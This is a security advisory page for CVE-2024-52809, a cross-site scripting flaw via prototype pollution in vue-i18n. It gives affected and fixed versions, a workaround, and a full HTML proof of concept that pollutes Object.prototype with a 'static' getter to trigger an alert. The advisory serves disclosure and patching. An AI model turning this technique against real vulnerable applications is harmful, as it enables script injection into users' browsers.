Medium

vue-i18n has cross-site scripting vulnerability with prototype pollution

  • Disclosed: 02.12.2024
  • Updated: 11.10.2026 10:22

Vulnerability type

XSS

Description

vue-i18n can be passed locale messages to createI18n or useI18n. we can then translate them using t and $t. vue-i18n has its own syntax for local messages, and uses a message compiler to generate AST. In order to maximize the performance of the translation function, vue-i18n uses bundler plugins such as @intlify/unplugin-vue-i18n and bulder to convert the AST in advance when building the application. By using that AST as the locale message, it is no longer necessary to compile, and it is possible to translate using the AST.

The AST generated by the message compiler has special properties for each node in the AST tree to maximize performance. In the PoC example below, it is a static property, but that is just one of the optimizations. About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts

In general, the locale messages of vue-i18n are optimized during production builds using @intlify/unplugin-vue-i18n, so there is always a property that is attached during optimization like this time. But if you are using a locale message AST in development mode or your own, there is a possibility of XSS if a third party injects.

Reproduce (PoC)

html
<!doctype html>
<html>
  <head>
    <meta charset="utf-8" />
    <title>vue-i18n XSS</title>
    <script src="https://unpkg.com/vue@3"></script>
    <script src="https://unpkg.com/vue-i18n@10"></script>
    <!-- Scripts that perform prototype contamination, such as being distributed from malicious hosting sites or injected through supply chain attacks, etc. -->
    <script>
      /**
       * Prototype pollution vulnerability with `Object.prototype`.
       * The 'static' property is part of the optimized AST generated by the vue-i18n message compiler.
       * About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
       *
       * In general, the locale messages of vue-i18n are optimized during production builds using `@intlify/unplugin-vue-i18n`,
       * so there is always a property that is attached during optimization like this time.
       * But if you are using a locale message AST in development or your own, there is a possibility of XSS if a third party injects prototype pollution code.
       */
      Object.defineProperty(Object.prototype, 'static', {
        configurable: true,
        get() {
          alert('prototype polluted!')
          return 'prototype pollution'
        }
      })
    </script> 
 </head>
  <body>
    <div id="app">
      <p>{{ t('hello') }}</p>
    </div>
    <script>
      const { createApp } = Vue
      const { createI18n, useI18n } = VueI18n

      // AST style locale message, which build by `@intlify/unplugin-vue-i18n`
      const en = {
        hello: {
          type: 0,
          body: {
            items: [
              {
                type: 3,
                value: 'hello world!'
              }
            ]
          }
        }
      }

      const i18n = createI18n({
        legacy: false,
        locale: 'en',
        messages: {
          en
        }
      })

      const app = createApp({
        setup() {
          const { t } = useI18n()
          return { t }
        }
      })
      app.use(i18n)
      app.mount('#app')
    </script>
  </body>
</html>

Workarounds

Before v10.0.0, we can work around this vulnerability by using the regular compilation (jit: false of @intlify/unplugin-vue-i18n plugin configuration) way instead of jit compilation.

References

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package @intlify/core >= 9.3.0, < 9.14.2, >= 10.0.0, < 10.0.5 9.14.2, 10.0.5
npm package @intlify/core-base >= 9.3.0, < 9.14.2, >= 10.0.0, < 10.0.5 9.14.2, 10.0.5
npm package @intlify/vue-i18n-core >= 9.3.0, < 9.14.2, >= 10.0.0, < 10.0.5 9.14.2, 10.0.5
npm package petite-vue-i18n >= 10.0.0, < 10.0.5 10.0.5
npm package vue-i18n >= 9.3.0, < 9.14.2, >= 10.0.0, < 10.0.5 9.14.2, 10.0.5

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness (CWE)
CWE-79
Platform
npm
Package
@intlify/core, @intlify/core-base, @intlify/vue-i18n-core
Disclosed
02.12.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-9r9m-ffp6-9x4v - CC BY 4.0

Vulnerability history: @intlify/core

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
3
First → latest
12.2024 07.2025
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 1
  • Medium 2

Disclosures per year

  1. 2024: 1
  2. 2025: 2
  3. 2026: 0
  1. Medium CVE-2025-53892 >= 9.0.0, < 9.14.5, >= 10.0.0, < 10.0.8, >= 11.0.0, < 11.1.10 9.14.5, 10.0.8, 11.1.10
  2. High CVE-2025-27597 >= 9.1.0, < 9.1.11 9.1.11
  3. vue-i18n has cross-site scripting vulnerability with prototype pollution this entry
    Medium CVE-2024-52809 >= 9.3.0, < 9.14.2, >= 10.0.0, < 10.0.5 9.14.2, 10.0.5

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.